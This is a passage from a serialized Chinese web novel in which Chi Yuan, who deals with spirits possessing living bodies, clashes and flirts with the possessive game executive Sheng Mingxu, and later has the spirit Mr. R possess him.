池鸢别开脸,酒意上头的倔强让她声音发颤:“没事的。” 话音未落,带着体温的西装突然披在肩头,混着威士忌的气息将她笼罩。 她攥紧衣摆,仰头时撞进男人眼眸。 怒意瞬间冲破理智,她伸手去推,却被温热的手掌扣住手腕。“盛明栩!” 她挣扎着后退,后背抵上粗糙的树皮,“你到底想怎么样?” 男人垂眸盯着她发红的眼眶,喉结滚动:“从隔壁酒吧出来。” 他指了指远处霓虹闪烁的招牌,袖口的银扣在路灯下泛着冷光。 池鸢扯下西装想扔还给他,却被他突然倾身堵住去路。酒气混着呼吸扑在她脸上,下一秒温热的唇已经压了上来。 “你疯了!”池鸢用力推搡,指甲在他西装上划出褶皱。 盛明栩却握住她的手腕按在树上,带着侵略性的吻让她眼眶发热。远处传来汽车鸣笛声,她趁机挣脱,跌跌撞撞地冲向缓缓驶来的网约车。 车门刚拉开,男人的手已经抵住车门,黑色皮鞋先她一步踏入车内。 “你下去!”池鸢涨红着脸大喊,司机透过后视镜投来疑惑的目光。 “司机,我认识她。”盛明栩的声音低沉而笃定,手臂撑在她身后的座椅靠背上。 “我不认识!”池鸢几乎要哭出来,攥着安全带的手指关节发白。 司机不耐烦地拍了拍方向盘:“到底是不是一起的?不坐车就赶紧下去!” 夜色透过车窗洒进来,将两人的影子重叠在真皮座椅上。 盛明栩忽然闭上眼,滚烫的额头靠在她肩上,呼吸扫过她泛红的耳垂。 狭小的车厢里,他身上的酒气与她残存的香水味纠缠在一起,暧昧的温度在密闭空间里不断攀升。 第228章 隐藏 晨光透过纱帘在池鸢睫毛上投下细碎阴影,她猛地睁开眼,冰凉的丝绸床单贴着赤裸肌肤,昨夜记忆如破碎镜面折射出零星片段。 床头电子钟显示09:17,盛明栩的衣服随意搭在真皮沙发上,银质袖扣在晨光里泛着冷光。 混蛋...她攥着被子的指节发白,转头看见盛明栩侧卧在枕头上,凌乱黑发下轮廓分明的侧脸还残留着未褪去的倦意。 手机在床头柜震动起来,屏幕上跳动着主管的名字,池鸢咬着牙划开接听键。 十分钟后,池鸢踩着细高跟冲进地下车库。 主管摇下车窗递来牛皮纸袋,熟悉的烫金logo让她瞳孔微缩——之前服务过的R先生。 主管转动方向盘,老规矩,服务完成就行。 别墅区的铁门缓缓打开,池鸢捏着资料站在雕花门前,玄关处传来吸尘器的嗡鸣。 R先生穿着家居服擦拭水晶吊灯,看见她时动作陡然僵住。 池鸢翻开笔记本,关于往生手续... 出去!R先生突然掀翻边几上的花瓶,瓷片在波斯地毯炸开,如果是来找我聊天我欢迎,不然,我不会离开! 他脖颈青筋暴起,眼神里交织着恐惧与疯狂,这具身体的主人根本不爱她!我给她买最新款包包,带她去北极看雪,我才是真正... 所以你就侵占活人的身体?池鸢后退半步。 R先生低吼:滚!再不出去我报警了! 返程路上,主管将车停在江边。见过太多这种执念太深的灵体。他弹落烟灰,火星在夜色里明灭,但我们的工作是,就像... 池鸢望着江面倒影,想起R先生妻子无名指上崭新的婚戒,如果我们强行让灵体离开,那个女人会面对家暴的丈夫,而真正爱她的人... 主管拍了拍她肩膀,仪表盘蓝光映在他镜片上:我明天出差,这件事你可以慢慢来。 站在盛明栩公寓楼下,池鸢望着顶层亮着的暖黄灯光。 电梯数字跳动时,她摸出包里备用的房卡——那是某次喝醉后盛明栩塞进她钱包的。 推开门,熟悉的香水味扑面而来。 手指触到磨砂质感的手柄时,身后传来皮鞋扣击地面的声响。 盛明栩倚在门框上,衬衫最上面两颗纽扣敞开。 这是你给我的卡。池鸢举起卡片,指尖悬在开机键上,这游戏我有点兴趣。” 盛明栩突然欺身上前,温热呼吸扫过她耳畔:想玩? 他修长手指握住她手腕,将手柄转向自己,充值8888,我带你解锁隐藏剧情。 抢劫啊!池鸢挣扎着要夺回手柄,盛明栩却顺势将她困在沙发与胸膛之间。 屏幕蓝光映在他眼底,像是藏着蛊惑人心的漩涡:或者...他指尖划过她锁骨,用别的方式抵债? 池鸢猛地用手肘撞向盛明栩的腹部,趁着他吃痛松手的瞬间夺回手柄。脸颊因为愤怒泛起红晕,她咬牙道:“盛明栩,你别太过分!” 盛明栩直起身子,单手揉着被撞的地方,嘴角却勾起一抹戏谑的笑:“脾气还是这么火爆。” 他伸手按下投影仪遥控,游戏登录界面的蓝光骤然明亮,“不过我可没开玩笑,这游戏的隐藏系统,只有付费玩家才能进入。” 池鸢盯着屏幕上闪烁的注册框,脑海中不断回想着和傅渊相处的细节。 如果盛明栩这款游戏能让她找到傅渊。 她咬了咬牙:“我给你转钱,但你必须保证带我看到隐藏内容。” 第229章 暗涌 爽快。盛明栩修长的手指轻转手机,收款码在暖黄壁灯下泛着冷光,在池鸢眼前划出一道银弧。 转账完成的提示音刚落,他已经按住她的肩膀,力道不轻不重却带着不容抗拒的压迫感,将她按进柔软的真皮沙发里,先创建角色。 池鸢仰起脸,眼尾上挑着七分不满:盛明栩,这根本不是我要的游戏。她伸手去推他的胸膛,却被他温热的体温烫得指尖一颤,赔钱。 怎么不是?盛明栩垂眸看着手机屏幕,指尖划过Q版角色创建界面。他修长的手指在虚拟键盘上跳跃,替她选了女性弓箭手——那个身着皮质劲装的少女模型在光影中渐渐成型,背后的长弓泛着冷冽的金属光泽。 就在池鸢要点击确认的瞬间,盛明栩突然覆上她的手。他的掌心带着薄茧,温热的气息掠过她泛红的耳尖:我教你。 指尖在屏幕上快速滑动,带着不容置疑的掌控欲。池鸢挣扎着想抽回手,却被他紧紧扣住,手腕处传来的力度让她心跳漏了一拍。 注册完成的提示音响起,池鸢猛地抽回手,耳尖红得几乎要滴血:无聊。还没等她平复心绪,游戏界面突然剧烈震动,猩红的警告弹窗骤然弹出:检测到敌方。 池鸢脸色瞬间苍白,屏幕里,一个黑袍身影正在雾气中若隐若现。盛明栩几乎是条件反射地拉起虚拟长弓,箭矢破空而出的瞬间,他转头看向她,眼神冷得像淬了冰:刚刚看见个人。 谁?池鸢的声音不自觉地发颤。 傅渊。盛明栩吐出这个名字时,喉结重重滚动了一下。他关掉游戏,起身走向酒柜,威士忌酒瓶碰撞的脆响在寂静中格外清晰,今天就到这吧。 琥珀色的液体在水晶杯中摇晃,映出他眼底翻涌的暗潮。 池鸢接过酒杯,冰凉的杯壁贴着掌心:再让我看他一眼。她的指甲深深掐进掌心,声音里带着压抑的恨意。 盛明栩走到落地窗前,城市的霓虹在他身后流淌成河。他凝视着玻璃倒影里她倔强的轮廓,突然轻笑出声:这游戏连接阴阳两界的通道,玩不好会把命搭进去。 他转身时,月光为他镀上一层冷白的光晕,池鸢,你最好离这一切远点。 如果我说不呢?池鸢猛地放下酒杯,起身与他对视。月光穿过她发间,在锁骨处投下细碎的阴影。她伸手将散落的发丝别到耳后,露出颈间淡淡的红痕——那是昨夜留下的印记。 盛明栩的目光在她颈间停留片刻,突然低笑出声。他伸手轻轻刮了下她的鼻尖,动作亲昵得惊人:真是个麻烦的女人。 他的指尖残留着威士忌的香气,从明天开始住这儿。我可不放心你一个人涉险。 谁要和你住一起!池鸢拍开他的手,脸颊烫得惊人。就在这时,手机铃声突兀地响起。看着屏幕上跳动的主管二字,她深吸一口气接起电话。 池鸢,客户那边你处理得怎么样了?主管的声音带着不耐。 池鸢握紧手机,指节发白:主管,古堡主人的事已经让我很愧疚了,那个灵又没做错什么。 池鸢,你这样让我很难做。 主管...... 好了别说了。电话被粗暴挂断,池鸢盯着黑掉的屏幕发怔。 盛明栩不知何时已经走到她身后,声音带着不易察觉的醋意:又是什么男人? 我主管。池鸢将手机塞进包里,我该走了。 回到家,池鸢背靠门板滑坐在地。她摸着发烫的脸颊,想起游戏里盛明栩按住她手的温度,想起他说住这儿时眼底的偏执。 说好要保持距离的,可为什么每次见面,都像是在危险边缘起舞? 第二天,阳光透过射箭馆的玻璃穹顶洒在箭靶上。 池鸢换上专业护具,将箭矢搭在弓弦上。她闭上眼,想象着游戏里那个黑袍身影,想象着盛明栩拉弓时专注的侧脸。箭矢破空而出,正中红心。 姿势不错。熟悉的声音从身后传来。池鸢转身,看见盛明栩倚在门框上,手里晃着两杯冰美式,不过,真想学射箭,该找个专业教练。他挑眉走近,温热的呼吸拂过她耳畔,比如我。 第230章 惊澜 池鸢握着弓的指节泛白。箭矢离弦瞬间。耳尖突然捕捉到身后传来的手机震动声。 盛明栩倚在休息区的皮质沙发上,屏幕上冯宛的名字。 他下意识瞥向正在整理箭筒的池鸢,滑动接听键时刻意压低嗓音。 明栩,今天晚上一起去听音乐会吗? 你要走了?池鸢转身时,弓袋里的箭矢相互碰撞发出轻响。她将碎发别到耳后。 电话那头传来尖锐的吸气声:谁?冯宛的声音突然拔高,背景音里隐约有玻璃杯轻磕桌面的脆响。 没有,你听错了。盛明栩扯松领带,喉结不自然地滚动。空调出风口的冷气拂过颈侧,却驱不散后颈泛起的薄汗。 盛明栩。池鸢突然逼近,“就这么走了。”她发梢还沾着树脂气息,在两人之间织成细密的网。 好吧,是那个,池鸢。盛明栩垂眸避开她灼灼的目光,碰巧碰到的。 池鸢?冯宛的声音里渗出不易察觉的颤音,这么巧,你怎么会跟她在一起。 这个。盛明栩话音未落,食指竖在唇边做噤声手势。 “她不会又缠着你了吧。” “缠我做什么。” “我觉得你们有一腿。” “我觉得没有。” 挂断电话的瞬间。 你实在太过分了。池鸢扯松衬衫纽扣。 盛明栩下意识攥住她手腕:既然这么生气,那就别玩游戏了。 不玩就不玩!池鸢猛地抽回手,你们男人都不是好东西!她夺门而出。 盛明栩望着她消失在街角的背影,晚风掀起她未系紧的衬衫下摆,露出后腰半截黑色运动束腰。 手机在裤袋里再次震动,池宜发来定位消息。郊外森林的卫星地图上,红色标点闪烁如跳动的火苗。 暮色渐浓时,池鸢站在营地入口的枫树下。 月光穿过枝叶在她肩头投下斑驳碎影,远处传来男孩粗重的喘息声。尉迟怀背着与他身形极不相称的登山包,迷彩裤膝盖处沾满泥浆,汗水顺着发梢滴进领口。 你这么小就要来野营,你妈对你真苛刻。池鸢拧开保温杯递过去,热气氤氲中飘出红枣的甜香。她伸手想帮男孩卸包,却被他倔强躲开。 谁说不是呢。尉迟怀仰头灌下大半杯水,喉结滚动时露出颈侧晒伤的痕迹,我都怀疑自己是捡来的。他将杯子塞回池鸢手中。 林深处传来鹰的低鸣,池鸢解下外套披在男孩肩头。 营火的光影中,盛明栩倚在越野车旁点燃香烟,火星在暮色里明明灭灭。 “小姨,那是你朋友。”尉迟怀指着盛明栩,“不是游戏老总吗?” 池鸢看了过去,他居然跟踪她,“你等等。” 她下车,走到盛明栩面前,说了什么,男人抱着她的脸亲吻上去。 “有小孩。” “没事。”以他的角度,看不见。 盛明栩的拇指摩挲着她泛红的唇瓣,另一只手已经揽住她的腰往阴影处带。 路灯在他侧脸上投下暧昧的光晕,他忽然轻笑出声,带着几分得逞的意味,“你紧张什么?” 池鸢被他圈在怀里动弹不得,感受到他指腹的温度透过衬衫渗进来,“谁、谁紧张了?” 她别开眼时,脖颈绷出漂亮的弧度,却被他用食指不轻不重地勾回下巴。盛明栩俯身时,温热的呼吸裹挟着雪松与琥珀的气息,扫过她泛红的耳际:我一侄子的老爸是这里的校长,今天过来接人。 尾音带着漫不经心的笑意,仿佛全然不知这番话掀起的惊涛骇浪。 池鸢喉间发紧,下意识屏住呼吸,薄荷香混着若有若无的烟草味将她笼罩。她缓了缓才吐出一口气,睫毛颤动着抬眸:你认识校长? 指尖无意识攥紧裙摆,尉迟延托了三层关系都没能叩开这所学校的大门,池宜更是砸下六位数让尉迟怀参加校方举办的野营,只为能在茶歇时递上精心准备的伴手礼。 盛明栩垂眸望着她眼底翻涌的情绪,拇指摩挲过她下颚的弧度,嗯字从喉间溢出,带着蛊惑人心的慵懒。路灯将两人的影子叠成暧昧的形状,他忽然轻笑,指腹擦过她微凉的唇瓣:要帮忙? 第231章 契 池鸢睫毛微颤,尾音裹着水雾般的轻颤:嗯?她望着盛明栩指尖明明灭灭的星火,在夜色里勾勒出男人冷硬的下颌线。 烟味裹挟着薄荷香扑面而来,混着对方语气里刺人的疏离。 算了,又不是你儿子。盛明栩弹了弹烟灰,火星溅落在地,转瞬熄灭。 池鸢的指甲深深掐进掌心,对方轻飘飘的一句话,像把钝刀剜在心头。那些藏在眼底的眷恋与期待,此刻都化作尖锐的疼痛,在胸腔里横冲直撞。 返程的车厢陷入死寂,车载香薰愈发刺鼻。 池鸢握着方向盘的指节泛白,后视镜里倒映着尉迟怀蜷缩在后座的身影。 男孩把帽衫兜头拉起,露出的半张脸上写满不安,两人之间仿佛隔着无形的冰墙。 尉迟怀。她打破沉默,声音干涩得不像自己。 少年突然坐直身子,带着这个年纪特有的莽撞:没事,我可不会告诉我妈的。他刻意轻松的语调里藏着小心翼翼,本来我就不想上这学校。 路灯掠过车窗,在男孩脸上投下明暗交错的光影。 池鸢喉间发紧,后视镜里的目光对上又错开。被孩子反过来安慰的窘迫,混着盛明栩那句伤人的话,像团乱麻缠绕着心脏。 她轻踩油门,引擎声掩盖住了胸腔里翻涌的酸涩。 …… 在顶楼咖啡馆的落地窗前。 红茶表面漂浮的柠檬片在池鸢凝视下轻轻摇晃,倒映出对面R先生肩头那件驼色羊绒外套的光泽——那是当季某奢侈品牌的限量款,即便在恒温的室内,男人仍将围巾松松绕在脖颈,像是刻意要昭告某种隐秘的优越感。 那年冬天我蜷缩在桥洞下数着债务利息,R先生用银匙搅动着咖啡,杯壁上旋开细小的漩涡,她踩着十厘米高跟鞋出现时,我就知道转机来了。 他嘴角勾起冷笑,金丝眼镜后的目光像是淬了冰,珠宝、名车、私人飞机,这些原本遥不可及的东西,只要我扮演好完美情人的角色... 池鸢将茶盏轻轻搁在碟上,骨瓷相碰的脆响打断了男人的独白。 我不是来劝你离开的,我想说,我很羡慕你,因为我遇到了渣男,可以感同身受。” R先生饶有兴味地挑眉,腕表上的钻石在暮色中闪烁。当池鸢说出附身二字时,他突然放声大笑,笑声惊得邻桌客人纷纷侧目。 有趣的请求。他倾身向前,“不过我要先看看那位幸运儿。” 暮色渐浓时,写字楼玻璃幕墙变成巨大的镜子,映出盛明栩西装革履的身影。 池鸢攥着裙摆的手指微微发白,直到看见R先生化作一缕青烟没入男人后颈。异变发生在刹那之间——原本步履从容的盛明栩突然踉跄半步,扶住廊柱时。 这具身体...比想象中虚弱。R先生的声音从盛明栩口中传出,带着几分新奇的玩味。 “虚弱,你是不是看错了。”池鸢从角落窜出,想起那些被盛明栩折磨的深夜。“他明明精力旺盛得很。” R先生轻笑出声,盛明栩那张熟悉的脸上浮现出陌生的邪气。他倾身向前,两人之间的距离近得能看见对方睫毛的颤动:“我说的是这具躯壳的灵魂——空洞又脆弱。”他忽然抬手抚上自己的脸,动作带着几分嘲讽的亲昵,“不过倒是意外发现些有趣的东西。” “那么,还有什么信息。”r先生问。 池鸢:“游艇、私人飞机、滑雪季。这具身体的主人,大概把人生当游戏在玩。” 他忽然勾起嘴角,露出盛明栩绝不会有的狡黠笑容,“那我会好好替你‘照顾’他。” “有件事拜托你。”池鸢凑近男人耳边。垂落的发丝遮住眼底翻涌的情绪。 直到走出咖啡馆,才终于松了口气,看着玻璃倒影里盛明栩陌生又熟悉的脸,心里松了口气。 餐桌上蒸腾的热气模糊了父亲推来的热汤,母亲絮叨着新买的外套。 池鸢咬着筷子点头,余光瞥见老妈探究的目光。池鸢有秘密。